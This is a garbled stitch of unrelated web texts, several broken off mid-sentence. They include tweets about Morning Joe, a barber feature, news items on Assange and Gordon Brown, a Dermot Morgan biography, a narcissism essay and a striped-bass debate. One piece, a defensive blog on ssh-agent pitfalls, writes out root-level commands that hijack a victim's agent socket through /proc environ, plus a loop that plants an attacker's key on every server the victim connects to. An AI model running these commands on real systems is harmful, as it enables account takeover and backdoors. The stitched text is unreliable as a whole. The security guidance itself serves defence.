So, you lot are passing off a show taped before Thanksgiving day as happening of the 24th? What a bunch of frauds. — Me, Myself & Oi! (Post No Bills, please) (@LifeOnAHorse) November 25, 2017
Why did you lie about your Friday story. Know Your Values Mika even lied about the turkey. Willie added to it. Why did you disrespect your viewers??? Why lie??, I am disappointed with you Joe. Mika I stopped believing her for sometimes. But you??? I respected you — Kathy Luthy (@luthy_kathy) November 25, 2017
They’ll lie about anything, even little stuff like this. Imagine what else they are lying about. https://t.co/Ih29pdfuBm — Mike Cernovich 🇺🇸 (@Cernovich) November 25, 2017
Mika and Joe take it way beyond fake news and get caught doing an entire fake program: https://t.co/0AFJv31A9i — MARK SIMONE (@MarkSimoneNY) November 25, 2017
Your dishonesty in pretending to do a Thanksgiving morning show just lost you a devout viewer. I watched Mika lie about the turkey she “cooked” even stooping so low to embellish lie with leaving giblets inside. Joe and Willie complicit. Deceitful. — Patrice J Noonan (@patrice_noonan) November 26, 2017
Fake news Morning Joe exposed as truly stupendous A-Holes. Guess they forgot about terrorist attack in Egypt. Nope, they pre-taped an attack against 45. Disgusting! — Seamus McGowan (@SeamusMcGowen) November 26, 2017
Nobody cares if your lazy, irrelevant hosts want to pre-tape a show, so why go to such ridiculous lengths to lie to people about when your show is recorded?? You are a fake news show hosted by liars. Nice going. — Summer (@sunnynodak) November 25, 2017
Joe & Mika caught this morning lying about their Thanksgiving. @Morning_Joe. Trump is right: It really is fake news. https://t.co/X608Eso4e2 — Joe Walsh (@WalshFreedom) November 25, 2017
#MorningJoe tried to fool the American people into believing they were live with a show recorded Wednesday and shown Friday – how can anyone trust them to tell the truth? #fakenews — Joe Mama (@IBacitizen) November 25, 2017
Yes, pre-recorded. Never mentioned big Flynn news story Thanksgiving evening, or other news. Doesn’t MSNBC have anyone that can sub for them today? Sad. — Helen Ehrenhofer (@helenehrenhofer) November 24, 2017
Remember when TV shows had a little disclaimer in the corner when they were pre-recorded, they don’t seem to do that anymore. @Morning_Joe — edward robinson (@ernesth62) November 24, 2017
@morningmika How do you explain lying to your viewers about your pre-recorded show? You and Joe clearly have no problem lying to the public. https://t.co/BlsfKHRHNt — Mort (@DoubleSuitedOro) November 25, 2017
@Morning_Joe I guess when @realDonaldTrump calls you fake news, he has a pretty good point following your pre-recorded newscast. Not like anything happened except for the murders in Egypt. — Greg Lam (@greglamlive) November 25, 2017
Hannity fires back at Time over Trump’s ‘Man of the Year’ claim – and he’s got just one question
Wake up right! Receive our free morning news blast HERECarmelo Preiti can't help but flash a giddy grin as he opens the second drawer of a gray cabinet in his family's barber shop on North Rose Street in Franklin Park.
"Wait till you see these," he says in a thick Italian accent.
Preiti unzips a black case to reveal, among several other tools of his trade, a special pair of scissors with the number "88" on them, which help shape the city's most famous mullet.
The tradition started as a joke during the 2009-10 season, when Preiti began cutting Patrick Kane's hair.
"I'm like, 'Here's what we're going to do,' " Preiti says, describing how he showed Kane a picture of Jaromir Jagr. "He starts laughing. Then when the playoffs rolled around he's like, 'Let's do it.' "
Preiti, whose family has owned Preiti Barber Shop since moving from Italy in 1982, never had sculptured a mullet. He turned to YouTube for a crash course and the rest has become history. Preiti has mastered his technique by now, having done two to three dozen in the last year.
Chuck Berman / Chicago Tribune Carmelo Preiti, owner of Preiti Barber Shop, has been cutting Patrick Kane's hair since the 2009-10. Carmelo Preiti, owner of Preiti Barber Shop, has been cutting Patrick Kane's hair since the 2009-10. (Chuck Berman / Chicago Tribune) (Chuck Berman / Chicago Tribune)
Kane says he became familiar with the 'do during his junior hockey days.
"I thought it'd be cool to continue it in the NHL because I wasn't able to grow a beard my first couple of seasons," Kane says. "It's pretty cool to see how it's become so popular.
"One of those things. I went with it my first year and we ended up winning a Cup, so I figured I'd do it every season since then."
Preiti, who moved to the United States in 1983 and began cutting hair in 2002, says he attended his first Blackhawks game in April 1985.
In 2009, he received a text from a friend saying he was going to send somebody to Preiti.
"I knew it was one of the players," Preiti, 38, says. "I couldn't resist. I said, 'Who is it?' And he said, 'It's 88.' I was like, 'Are you kidding me?'
Photos of the Blackhawks' Patrick Kane, who became the first American to win the Art Ross Trophy in 2016.
"At first I was nervous I was going to mess it up. I kind of sat there like, 'What do I say?' "
Turns out, Preiti's nerves were for naught. While he's a big Blackhawks fan who watches every game, he says the players are customers — whether at his family shop, which he plans to take over when his father and uncle retire, or at 316 Club Barber Spa, where Preiti also has worked.
"It's weird," he says. "You don't want to talk hockey; it's like him talking to me about hair. I leave it alone. The conversations are just standard conversations I'd have with a friend of mine."
Preiti says he has cut the hair of about 10 Blackhawks through the years, including a mullet for Brandon Saad. Sometimes he goes to them; sometimes they come to him.
While Kane is his most famous client, Preiti also has gone to work on the city's most famous mustache. As is custom in Preiti's shop, every haircut comes with optional facial hair service. So after fixing up Blackhawks coach Joel Quenneville's hair, Preiti popped the question.
"He's like, 'No, no, that's all right. I've never had anyone trim it,' " Preiti says. "I'm like, 'OK.' Then he was like, 'Go ahead and trim it.'"
While Kane's tradition has lived on, Patrick Sharp's lasted 12 hours. Sharp joined Kane in the mullet club that first year, when Dave Bolland's girlfriend gave him the cut.
"I sent a picture home to my parents and my dad wasn't too happy," Sharp says with a laugh. "I didn't want to disappoint him on national TV, so I chopped it off."
Preiti pauses for a moment to reflect as he slides the scissors reserved only for Kane back into their case. A customer is waiting.
"To know I'm in a small way part of it, it's still a big deal," Preiti says. "I feel like a little kid about it. Not everybody can say, 'Hey, I cut his hair, I'm part of this whole mullet thing."
A thing that won't be going away anytime soon.
pskrbina@tribpub.com
Twitter @ChiTribSkrbinaNobel laureates Robert J. Shiller and George Akerlof discuss their new book "Phishing for Phools." They explain how free market forces lead some people to manipulate and deceive others and why tricksters are an integral part of capitalist economies.
The following is an excerpt from the new book “Phishing for Phools: The Economics of Manipulation and Deception” by Nobel laureates George A. Akerlof and Robert J. Shiller.
The world’s most powerful social and economic tool is the free global market. It enables the world’s adults to trade with one another. Worldwide, there are some 25 quintillion possible pairs of buyers and sellers. A quintillion is a big number, with 18 zeros. The selection that this huge amount of choice affords to both buyers and sellers makes us all...Bees that Make Honey with Cannabis Resin (2 pages)
posted 2 years ago
The French beekeeper has self-medicated with cannabis since a very early age and he defines himself as someone that is passionate about nature and training all kinds of animals. Both of these factors have led him to spend years researching how to combine the properties of the plant and the insects that he dedicated his life to. The result is “cannahoney”, a delicious nectar that has not gone unnoticed by anyone and that has to confront the restrictive laws of his country.
He is an artisan, locksmith and above all a beekeeper, although he does not carry out the last profession like others. His more than 4300 Facebook followers and 700 Instagram followers are looking for something that nobody else can offer: marvellous photos where cannabis plants receive an agreeable visit. Although most of us would be scared to find bees on our crop, that is the main goal of this 39-year-old Frenchman who describes himself as an advocate of medical cannabis and of legalisation.
He is called Nicolas, although he is known as Nicolas Trainerbees, a nickname that is not a mere coincidence. He has been using it for more than 20 years because he has always liked to spend time with all kinds of animals, especially insects, and above all, bees. He observes them, and according to him (although without revealing his tactics), he trains them so that they behave as he wishes.
“I have trained bees to do several things, such as collect sugar from fruits, instead of using flowers”. In addition to beers, he has also worked with tarantulas, lizards and ants because, as he explains, he has “been passionate about nature since childhood". This has led him to learn about the world of animal biology, entomology, cannabis growing, improving all kinds of plants and everything related to the world of beehives.
For a while now he has been working with bees that produce “cannahoney”, the name he decided to give to his peculiar cannabis honey. However, he modestly says that he has not created honey, “but rather a training technique whereby the bees collect the resin and use it in the beehive”. Afterwards, the final substance is the sole work of the little insects.
How did a beekeeper decide that his bees should obtain nectar from cannabis? Firstly, due to personal experience. Nicolas has been hyperactive since the age of 7, and that along with an educational system that labelled him as “unsuitable”, soon led him to leave school. At a young age he discovered that the plant helped him to channel the problem and, therefore, “I began consuming before the age of 10”, he states.
Years later, many people that know about his abilities raising and training bees began to ask him why he would not start applying them to the world of cannabis, and get the insects to create a kind ofAs my colleagues Ravi Somaiya and Marc Santora report, the WikiLeaks founder Julian Assange addressed supporters in London on Sunday from a first floor balcony at the Ecuadorean Embassy, where he has been holed up for two months, seeking to avoid extradition to Sweden.
The London bureau of Russia Today, the state-financed satellite news channel that broadcasts Mr. Assange’s talk show, made video of the complete speech available online and a supporter of Mr. Assange posted a screenshot on Twitter showing the rows of British police officers outside the embassy. Britain has promised to arrest Mr. Assange and send him to face questioning in Sweden on allegations of sexual misconduct if he leaves the embassy, even though Ecuador granted him political asylum on Thursday.
Photo of the unbelievable amount of police in front of the Ecuadorian Embassy during Julian #Assange’s speech. //t.co/tHMJlk9o — M Cetera (@m_cetera) 19 Aug 12
Russia Today also posted photographs of the two pages of prepared remarks that Mr. Assange held in his hand as he spoke. A more readable form of the full speech text was published on the Web site of the Australian radio station Triple M.
During the address, Mr. Assange varied little from his prepared text, in which he made no mention of the accusations against him in Sweden, but called on the United States to “renounce its witch hunt against WikiLeaks.” Mr. Assange and his supporters claim that the allegations of sexual misconduct leveled against him by two Swedish women are nothing but a ploy to discredit him and make it easier for him to be extradited to the United States to stand trial for facilitating the leak of hundreds of thousands of secret military and diplomatic documents and video recordings.
Near the end of his speech, Mr. Assange equated his plight to those of the American Army private, Bradley Manning, who is accused |
shameless act of broadcasting cowardice and political subservience".[citation needed] An RTÉ spokesman said: "The show is not being axed. It's just not being continued!"[citation needed]
In 1991, Morgan received a Jacob's Award for his contribution to Scrap Saturday from the Irish national newspaper radio critics.
Father Ted [ edit ]
Already a celebrity in Ireland, Morgan's big break in Britain came in Channel 4's Irish sitcom Father Ted, which ran for three series from 1995 to 1998. Writers Graham Linehan and Arthur Mathews auditioned many actors for the title role, but Morgan's enthusiasm won him the part.
Father Ted focused on the misadventures of three Irish Roman Catholic priests who live in a parish on the fictional Craggy Island, located off the west coast of Ireland. Father Ted Crilly (Morgan), Father Dougal McGuire (Ardal O'Hanlon) and Father Jack Hackett (Frank Kelly) live chaotically together in Craggy Island's parochial house, along with their housekeeper Mrs Doyle (Pauline McLynn). The series featured many other supporting characters, including the camp, hyperactive Father Noel Furlong, played by comedian and future talk show host Graham Norton.[6]
The show received widespread popularity around the world and universal critical acclaim, often being labelled as one of the greatest sitcoms ever made. The show made Morgan a household name and won him legions of fans, developing somewhat of a cult following.
BAFTA Award [ edit ]
In 1998 Father Ted show won a BAFTA award for the best comedy, Morgan won a BAFTA for best actor, and McLynn was named best actress.
Unreleased works [ edit ]
Morgan said in an interview with Gay Byrne on The Late Late Show in 1996 that he was writing a screenplay entitled Miracle of the Magyars, based on a real-life incident in the 1950s when the Archbishop of Dublin forbade Catholics from attending a football match between the Republic of Ireland and Yugoslavia on religious and spiritual grounds. Yugoslavia won the match 4–1. Morgan planned to use Hungary as the opposing side to Ireland – hence the title. At the time of his death in 1998, he had completed the screenplay but the film was never made.
Morgan's first project after Father Ted was to be Re-united, a sitcom about two retired footballers sharing a flat in London. According to former manager John Fischer, Morgan was scripting the programme and planned to take the part of "an Eamon Dunphy-type who had gone on to work in journalism, but had ended up living with an old football pal". Mel Smith was in talks for the role of the friend.[7]
Morgan had been commissioned to write a drama series for the BBC.[8]
Personal life [ edit ]
Dermot married Susanne Garmatz, a native of Hamburg, and they had two sons: Don (born 1978) and Rob (born 1980).[9] He later began a relationship with Fiona Clarke, with whom he had another son, Ben (born 1993).[9]
Death and legacy [ edit ]
The "Joker's Chair", a memorial to Morgan in Merrion Square, Dublin
Morgan's Grave in Deansgrange Cemetery, south County Dublin
A day after recording the last episode of Father Ted, Morgan had a heart attack while hosting a dinner party at his home in south-west London. He was rushed to the hospital, but died soon afterwards.[10] His sister Denise said, "He wasn't feeling great at the end of the meal and I went to the bedroom with him. He had a heart attack and I didn't recognize it. From my limited training in first aid, I wasn't sure exactly what was happening. The symptoms didn't match what the books said. I said to him 'I think you are okay' and we went back to the table. He apologized for having left the room and the next thing he just collapsed. We tried to resuscitate him but it didn't work. He had a massive heart attack."[11]
Father Ted co-star Frank Kelly, who died 18 years to the day after Morgan,[12] said, "Dermot's mind was mercurial. I think he was a kind of comedic meteor. He burned himself out."[13]
Morgan's Requiem Mass in St. Therese's Church in Mount Merrion, south Dublin, was attended by Mary McAleese, President of Ireland, her predecessor Mary Robinson, and by political and church leaders – many of whom had been the targets of his humor in Scrap Saturday. His body was cremated at Glasnevin Cemetery, and his ashes were buried in the family plot in Deansgrange Cemetery.[14]
In December 2013, a documentary, Dermot Morgan – Fearless Funnyman, aired on RTÉ One.[15]
A wax statue of Morgan was erected by his sons in the national wax museum in Dublin.
Appearances [ edit ]
Television [ edit ]
Radio [ edit ]
Film [ edit ]The pitfalls of using ssh-agent, or how to use an agent safely
In a previous article we talked about how to use ssh keys and an ssh agent.
Unfortunately for you, we promised a follow up to talk about the security implications of using such an agent. So, here we are.
If you are the impatient kind of reader, here is a a few rules of thumb you should follow:
Never ever copy your private keys on a computer somebody else has root on. If you do, you just shared your keys with that person. If you also use that key from that computer (why would you copy it, otherwise?), you also shared your passphrase. I generally go further and only keep my private keys on my personal laptop, and start all ssh sessions from there. Never ever run an ssh-agent on a computer somebody else has root on. Just as with the keys, I generally don't run ssh-agents anywhere but my laptop. And when I say "has root on", consider that you are both trusting that person to not abuse his privileges, and to do a good job at keeping the system safe, up to date, and without other visitors. Only forward your agent connection to machines you trust. As you will see further down in this article, forwarding an agent is equivalent to sharing your keys with anyone who managed to get root on that machine. And this is not theoretical: getting access to your keys takes at most a few lines of a shell script. Make sure your keys and your agent are unloaded when you log off your machine. If you are one of the old school guys that simply starts his agent with something like: if [ - z "$SSH_AUTH_SOCK" ] ; then eval ` ssh - agent - s ` ssh - add fi in his.bashrc, don't forget that every time you open a terminal you are creating a new agent that nobody will ever kill. It will remain happily hanging there forever with all your keys ready for anyone to use. (the snippet of code is the one suggested on various threads, including vairous stackoverflow answers) To protect my agent forwarding, I personally follow a 5th rule: Use different keys for different purposes, and keep them in different agents. The reason for this rule is a direct consequence of the other rules, and is best explained with an example: let's say in order to connect to the servers at work you must use ssh keys. But these servers are on a private network, so you must first use agent forwarding and connect to some sort of "gateway". Every time you connect to the gateway with agent forwarding you give the ability to anyone on that machine with root to use any and every key loaded in your agent. If any of those people gains access to any other server at work, well, that's life. Something my employer will need to worry about. At the same time, I really don't want those people to gain access to my home server, personal github account, or to the VPS I use to backup my family photos. What I do: one key for work, one key for home, one key for backup server, "one key per customer", or "per security domain". And I do the same for agents, as otherwise agent forwarding will expose my keys: one agent for work, one for home, and so on. If I end up forwarding the agent to a compromised machine, the attacker will gain access only to machines within that domain. Sounds like a giant pain to manage and use? Not really, if you use something like ssh-ident [disclaimer: I'm one of the authors].
Now that we have covered the bases, let's try to cover some of the reasons behind those recommendations...
Starting the agent
If you do a quick search on how to use an ssh-agent, most pages will tell you to start an agent by using something like:
$ eval ` ssh - agent `
simple and fast, isn't it? But annoying to do every time you log in. Go back on google and search "how to automatically start ssh-agent", and you'll find many suggestions to add something like:
if [ - z "$SSH_AUTH_SOCK" ] ; then eval ` ssh - agent - s ` ssh - add fi
to your.bashrc. Problem solved? Not really. Now for every console you open, you end up with a new agent. So back on google, and after some time you will find some variation of:
SSH_ENV = "$HOME/.ssh/environment" function start_agent { echo "Initialising new SSH agent..." ( umask 066 ; /usr/bin/ssh-agent > "${SSH_ENV}"). "${SSH_ENV}" > /dev/null / usr / bin / ssh - add ; } # Source SSH settings, if applicable if [ -f "${SSH_ENV}" ] ; then. "${SSH_ENV}" > /dev/null ps - ef | grep $ { SSH_AGENT_PID } | grep ssh - agent$ > /dev/null || { start_agent ; } else start_agent ; fi
(from one of the most voted answers on stackoverflow)
Which in short keeps the details of the agent in a file, tries to load it, checks if that agent is still running (after a reboot or similar), and if not, it starts another one.
I personally don't like grepping for ssh-agent and checking pids, and I don't like the fact that the script above may break agent forwarding, as it does not detect any agent already available.
So I much prefer versions of the script like the one here:
ssh - add - l &>/ dev / null if [ "$?" == 2 ]; then test - r ~/. ssh - agent && \ eval "$(<~/.ssh-agent)" >/ dev / null ssh - add - l &>/ dev / null if [ "$?" == 2 ]; then ( umask 066 ; ssh - agent > ~/. ssh - agent ) eval "$(<~/.ssh-agent)" >/ dev / null ssh - add fi fi
which just queries the agent for available keys. If none can be found, it will try to load the agent config from a file, and if still can't connect to the agent, it will start a new one. This version has the added benefit that if your window manager has an agent already running, you will use it. Easy peasy, right?
Well, there are a few problems with this approach:
Your agent will run forever! And keep your keys with it. You have one agent for all your keys, which violates the 5th rule at the top of the document.
Let's try to solve one problem at a time, so let's try with problem #1 first.
You could:
Specify a maximum key lifetime with the -t parameter. For example, -t 3600 will keep your keys in memory for at most one hour. But what happens after an hour of inactivity? Well, your key will disappear, and the next time you try to use ssh it will simply prompt you for your password. That's right, as the key is gone, it doesn't know there was a key in the first place. It will not tell you "look, we need to reload your key" or "ay yo, one of your keys has expired, give me your passphrase again, and I'll happily try to reload it". This is generally taxing on my brain, as every time this happened to me, I had to reconcile the password prompt with the fact I always use the agent, and come up with "oh drat! my keys expired, let's run ssh-add again". Annoying, isn't it? You can make it simpler with a few tweaks to ~/.ssh/config, but it still is pretty annoying. What I ended up doing in the past, was well, never use ssh directly: instead, use a shell script that would check if my keys were still there, and if not, call ssh-add first magically. Complicated? that is another thing that ssh-ident can do for you. Kill the ssh-agent when you are done using it. Easy peasy, no? You could try using.bash_logout. But if you do, and your shell 'execs' another command, crashes, your ssh terminal dies, or you use screen or tmux, well, it won't work very reliably, your ssh-agent will not be killed. Feeling brave? Maybe you can trap EXIT 'killall ssh-agent' or something similar. But this still has many of the same drawbacks. The most reliable method I found was the exec support in ssh-agent, that by looking around the.net, seems also the least mentioned? After ssh-agent you can specify a command to run. That command will be started with the rigth environment variables set, and ssh-agent will keep running for as long as that command is alive. For example, if I type something like: $ exec / usr / bin / ssh - agent / bin / bash from my shell prompt, I end up in a bash that is setup correctly with the agent. As soon as that bash dies, or any process that replaced bash with exec dies, the agent exits. Simple enough, I could add it to my.bashrc, no? Watch out for loops, and well, you'll be disappointed to find out that in each and every terminal, you will end up with a different ssh-agent, needing to run ssh-add every time. If you use a graphical interface, you can probably use this approach to load your window manager, so all your terminals will have an agent, which leads us straight into the 3rd approach... The third method is to just rely on your distribution. Given how many people are using ssh-agent today, many distributions just start your window manager with ssh-agent or some equivalent above. That way, you have a nice ssh-agent tied to your session, which is killed when you log off. Some distributions even use dbus to start and manage an agent, which I have not dug into yet. This has worked on and off for me as I upgraded laptops, changed window managers, login managers, and various versions or the graphical interfaces I use felt entitled to replace ssh-agent with something else for the sake of annoying their users.
To this day, the method I found most reliable and comfortable with is to 1) wrap my ssh around a script, that 2) load agents keys as necessary, and 3) expires them after a certain timeout.
Having fun with an agent
Now that we have determined that running and killing an agent is not as easy as it might seem, let's look at what someone can do with root access on a machine running your agent.
First, he may try to get your keys out of it. This is not as hard as it seems, you can find many tutorials online on how to do it.
It boils down to dumping the memory of the ssh-agent, and looking for the keys in memory.
Second, he may try to just use your agent. This literally requires no skill or tool whatsover. Let me give you an example, let's start by loading an agent, a key, and verifying it works:
$ eval ` ssh - agent ` $ ssh - add ~/. ssh / my - private - key Enter passphrase : $ ssh - add - l 4096 0 a : 3 c : c9 : f7 : d0 : 7 a : 6 d : d2 : c0 : 13 : c6 : 0f : 15 : 12 : 39 : 1 d my - private - key
Now let's act as another evil user who has access as root to the machine:
$ su # ssh-add -l Could not open a connection to your authentication agent. # ps aux |grep bash... myself 32684 0.0 0.0 18028 2008 pts / 5 S 17 : 17 0 : 00 / bin / bash... #. <(cat /proc/32684/environ |xargs -0 -i echo {} |grep SSH) # ssh-add -l 4096 0 a : 3 c : c9 : f7 : d0 : 7 a : 6 d : d2 : c0 : 13 : c6 : 0f : 15 : 12 : 39 : 1 d my - private - key
All the attacker had to do was find the PID of one or my processes, import the right environment variables, and well, profit! The magic was a single line of shell.
Having fun with forwarding
Turns out that the same exact trick used above works with agent forwarding: find a process your victim is running, look at his environment, and well, configure yours to use his agent forwarding socket. Total time to use your keys: < 1 minute.
The only improvement here is that the attacker can't steal your keys. Also, he can only authenticate for as long as you are logged in, both of which sound like a win. But is this such an improvement?
Keep in mind that the attacker can write a 2 line shell script to, for example, scan all the hosts nearby with nmap, and automatically run ssh-copy-id to install his keys on your machine while you are logged in.
Or keep watching what you connect to, and install his key on every such host. Hard? Not really:
while : ; do servers = ` pgrep - u victim - a ssh | sed - ne's /. * ssh //p'`; \ test -z "$servers" && { sleep 1; continue; }; \ ssh-copy-id -i ~/.my-evil-key.pub $servers; done;
will basically intercept any ssh command you run, and install the attacker's keys on your remote server.
In short: even a few minutes of access to your agent will enable an attacker to do a lot of damage, escalate the number of machines it has access to, and install backdoors to access your system at the most convenient times.
Too many keys, github, and friends
There is one more problem with the naive approach to ssh-agents. Let's say you go the route of having at least one key per customer, or per "security domain", but still use a single agent.
One thing to keep in mind is that when you try to login into a remote host, ssh will try authentication with all the keys you have loaded, one at a time, one after the other.
This works ok for as long as you have a few keys. As soon as you start having many keys, with many being like more than 5, the remote server will kick you out even before you are able to prove your identity.
That's right: most ssh servers allow a maximum number of authentication attempts before killing your connection. Each key you have loaded counts as an attempt, and if you have more than a handful of keys, you will never be able to use your last ones.
Sites like github.com or gitorious also use your key to verify your identity. If you have a work account and home account, for example, you will always submit patches or login as the first key you have loaded in your agent, fancy, not?
Conclusions
I probably sound like a broken record by now, but something like ssh-ident allows you to keep different keys in different agents, easily, while loading agents and keys on demand, keep your identities separated, and easily set a timeout while reloading all keys as necessary.
It is not for everyone to use, but it has served me well so far, and addresses most of the issues discussed in this document with no effort on your side.I often come across sad examples of the powers of self-delusion that the narcissist provokes in his victims. It is what I call "malignant optimism". People refuse to believe that some questions are unsolvable, some diseases incurable, some disasters inevitable. They see a sign of hope in every fluctuation. They read meaning and patterns into every random occurrence, utterance, or slip. They are deceived by their own pressing need to believe in the ultimate victory of good over evil, health over sickness, order over disorder. Life appears otherwise so meaningless, so unjust and so arbitrary...
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So, they impose upon it a design, progress, aims, and paths. This is magical thinking.
"If only he tried hard enough", "If he only really wanted to heal", "If only we found the right therapy", "If only his defences were down", "There MUST be something good and worthy under the hideous facade", "NO ONE can be that evil and destructive", "He must have meant it differently" "God, or a higher being, or the spirit, or the soul is the solution and the answer to our prayers".
The Pollyanna defenses of the abused against the emerging and horrible understanding that humans are specks of dust in a totally indifferent universe, the playthings of evil and sadistic forces, of which the narcissist is one. And that finally their pain means nothing to anyone but themselves. Nothing whatsoever. It has all been in vain.
The narcissist holds such thinking in barely undisguised contempt. To him, it is a sign of weakness, the scent of prey, a gaping vulnerability. He uses and abuses this human need for order, good, and meaning - as he uses and abuses all other human needs. Gullibility, selective blindness, malignant optimism - these are the weapons of the beast. And the abused are hard at work to provide it with its arsenal.
next: Abusing People of Authority - I'm a NarcissistThis 1996 Porsche 911 Carrera 2 (VIN WP0AA2992TS321562) has obviously been through a very intense fire that seems to have also resulted in the building in which it started collapsing, further damaging the car almost to the point of it being unrecognizable. The ad estimates somewhat optimistically that repairs will cost $195k, or roughly the cost of three good 993 C2’s at current market conditions. Find it here on Copart in Detroit, Michigan with no reserve and bidding starting from 60 bucks. Special thanks to BaT reader Steve S. for this submission.
A set of Hartmann style three-piece Turbo twist wheels are visible among the rubble, but even these won’t be salvageable. It’s clear that the fire which claimed this car burned very hot and for a very long time, and the smashed in roof seems to indicate that the structure it was being kept in collapsed in the inferno. According to the ad, paint color was originally black. Is that an older 911 Targa in the background below? Chances are it went up in the same blaze.
There might still be an air-cooled flat six in back, but even if there is, it’s likely little more than a melted blob of steel and aluminum. Are those fiberglass strands? Looks like the car might have worn an aftermarket Turbo look wing to go with the twist wheels.
We’re not sure what the seller intends these remains be used for, but it’s doubtful you’d even net scrap price at this point. Unsurprisingly, no one’s bid yet at the time of writing.The presidential candidates have been under a microscope for the last year, but today, the focus on Sen. Barack Obama's face reached the nanoscale.
Sculpted using nanolithography by University of Michigan mechanical engineer, John Hart, each Obama face is composed of 150 million carbon nanotubes and measures half a millimeter across.
"We can make pretty much any 2-D pattern by this technique," Hart said.
But in honor of the election, Hart's lab applied their technique to the now-ubiquitous image of Obama's face created by Shepherd Ferry.
The only overtly political text that accompanies the images on nanobama.com is the tagline, "vote for science."
When he and the rest of the nation don't have election fever, the focus of Hart's more serious research is finding ways to use nanomaterials to build useful electronics.
"The nanotubes themselves are perhaps the strongest molecule known to man, and also have fantastic electrical and thermal properties," Hart said. "However, effective methods of organizing large numbers of nanotubes are needed to realize many unique commercial applications."
Hart has created a flickr set with 20 more images of Obama's face for your liberal, nanoartistic pleasure.
WiSci 2.0: Alexis Madrigal's Twitter, Google Reader feed, and webpage; Wired Science on Facebook.PORT OF SPAIN (Reuters) - British Prime Minister Gordon Brown called Friday for the creation of a $10 billion a year fund to help developing countries battle climate change.
Britain's Prime Minister Gordon Brown arrives for the official opening ceremony of the Commonwealth Heads of Government Meeting (CHOGM) at Port of Spain in Trinidad November 27, 2009. REUTERS/Toby Melville
Brown made the proposal as Commonwealth leaders met to try to build momentum for an agreement in global climate talks in Copenhagen next month.
Under Brown’s proposal, funds could be made available to poor countries as early as next year, well before any new climate deal takes effect.
The European Union has already looked at similar proposals for “fast-start” financing but has so far been unable to agree on a figure.
“What I feel the developing countries need to know is that we are absolutely serious that we would start now” to provide financing, Brown told a news conference on the sidelines of the summit in Trinidad and Tobago.
“What I’m proposing today is a Copenhagen launch fund. It would start in 2010. It would be $10 billion per annum by 2012,” he said.
The 53-nation Commonwealth brings together wealthy and developing countries.
Brown believes the fund would give the developing world greater confidence that rich countries would give them financial support and so encourage them to act to counter climate change.
The fund would run from 2010 to 2012, increasing to $10 billion in the final year, under Brown’s plan. Brown aides could not say how big the fund would be in the first two years.
Britain is prepared to contribute 800 million pounds ($1.31 billion) — already set aside in Britain’s budget — over three years to the fund, officials said.
Brown said he believed the EU and the United States would also be ready to contribute to the fund.
EU leaders said last month that developing countries will need 100 billion euros ($149 billion) a year by 2020 to battle climate change.
Brown said half of the money in his proposed launch fund should go toward helping the poorest countries adapt to climate change, by for example financing stronger sea and flood defenses.
The other half would help countries deal with deforestation and building new, cleaner energy sources.
Developing countries would have to provide part of the finance for projects to lessen the impact of climate change and payment from the fund would depend on results.
“The more carbon you reduce, the more tons of greenhouse gas saved, the more money any developing country would get from that fund,” Brown said.Should striped bass be declared a gamefish and closed to commercial fishing?
Some would like to see the striped bass declared a gamefish along the Atlantic Coast. Gamefish status means ending the commercial harvest while preserving the recreational catch. Another group of people—not the least of which are commercial bass fishermen—would prefer to see the fishery remain open.
Striped bass are harvested commercially in North Carolina, Virginia, Maryland, Delaware, New York, Rhode Island and Massachusetts. The total striped bass harvest in 2011 was estimated at 3.178 million fish or 32.2 million pounds. Recreational anglers harvested about 67% of those fish (2.12 million fish, 26.3 million pounds), while commercial fishermen harvested the other 33% (1.05 million fish, 6.8 million pounds).
In Massachusetts, where the debate over gamefish status has been focused in recent years, commercial striped bass fishing is a rod-and-reel fishery. The season opens in early July and continues until the fleet reaches a pre-set target quota, which is around a million pounds per year. If they go over one year, the total gets deducted from next year’s harvest. A robust final two of days in 2012 resulted in going over the quota, and the 2013 quota was reduced accordingly, to about 900,000 pounds. By comparison, the state recreational fishermen take about 4,000,000 pounds per annum.
THE ARGUMENT FOR
Spearheading the push for gamefish status is a group called Stripers Forever. Brad Burns is president of the internet-based group, who are headquartered in Portland, Maine. He says that currently “any fish that’s commercially targeted is on the ropes,” and worries that fishing for stripers is “on its way right down the tubes.”
Burns says Stripers Forever count 17,000 members from all 50 states and some foreign countries, with the largest contingents from Massachusetts and New Jersey with about 3,000 members each.
Stripers Forever member Dean Clark of Marstons Mills, Massachusetts summed up their position in a 2010 Cape Cod Times editorial: “The only way to ensure the survival of striped bass is to take the commercial price tag off their heads and make them a gamefish.”
Stripers Forever employs a full-time Policy Coordinator named Craig Caldwell in Massachusetts to work the halls of power on Beacon Hill. They have introduced and reintroduced bills into the various state legislatures advocating the ban.
While arguing that people who catch their own fish should be granted priority over people who buy them at market, they remind us that, “This is how a free society should work.”
Instead of a commercial catch, Stripers Forever would prefer to see more emphasis placed on aquaculture, where fish can be raised in relative captivity and then brought to market. They further argue that there are economic benefits to gamefish status, whereas stopping the commercial harvest will increase opportunities for recreational fishermen, who catch far more than the commercial limits already, by providing more access to what is widely considered a billion-dollar recreational industry. They argue that “employment in these recreation-based business is usually year round and employee benefits often include health and retirement plans.”
Burns says that he’s from a fishing family, both in Friendship, Maine, where he grew up, and in New Bedford, where his grandfather was dragging Georges Bank for scallops as early as the 1930s. Burns views Stripers Forever as “the keepers of the flame of for striped bass conservation,” and cites tarpon and marlin as examples of successful implementation of gamefish status.
“The recreational fishery is constrained by size and bag limits,” says Burns. “And those will not automatically change just because the commercial fishery closes. Stripers Forever’s members have repeatedly said in our annual survey that they want the fish saved by ending the commercial fishery to go to conservation instead of increased [recreational] bag limits. We need both to end commercial fishing for striped bass and significantly reduce the recreational catch.”
How States Manage Striped Bass
Stripers Forever believe that the commercial harvest is given preferential treatment by the Atlantic States Marine Fisheries Council (ASMFC), a federally mandated group. The ASMFC was established by an act of Congress in 1942. Each of the 15 coastal states sends three representatives—one each of whomever is head of the state agency in charge of conservation of fisheries resources, a member of the state legislature, and a citizen with fishery knowledge to be appointed by the governor—and each state gets one vote.
Stripers Forever disagree with the current ASMFC council findings that the striped bass stock is relatively healthy, and argue instead that the group is more concerned with, and overly influenced by, powerful commercial interests.
The fight over the striped bass stretches over the decades. Dick Russell wrote a book about these struggles called Striper Wars in which he recounts the fight to bring back the striper from the brink of collapse in the early 80s.
Reasons for the 80s collapse range from those who see it purely as overfishing to a more nuanced approach that includes fishing pressure, environmental pollution, normal cyclical stock fluctuations and spawning habitat degradation. No one disagrees that the comeback of the striped bass has been a smashing success.
While Russell is not a Stripers Forever member, he says “I respect their work,” and he agrees that more needs to be done to protect stripers. To this end, he advocates the use of circle hooks and more conscientious catch and release techniques.
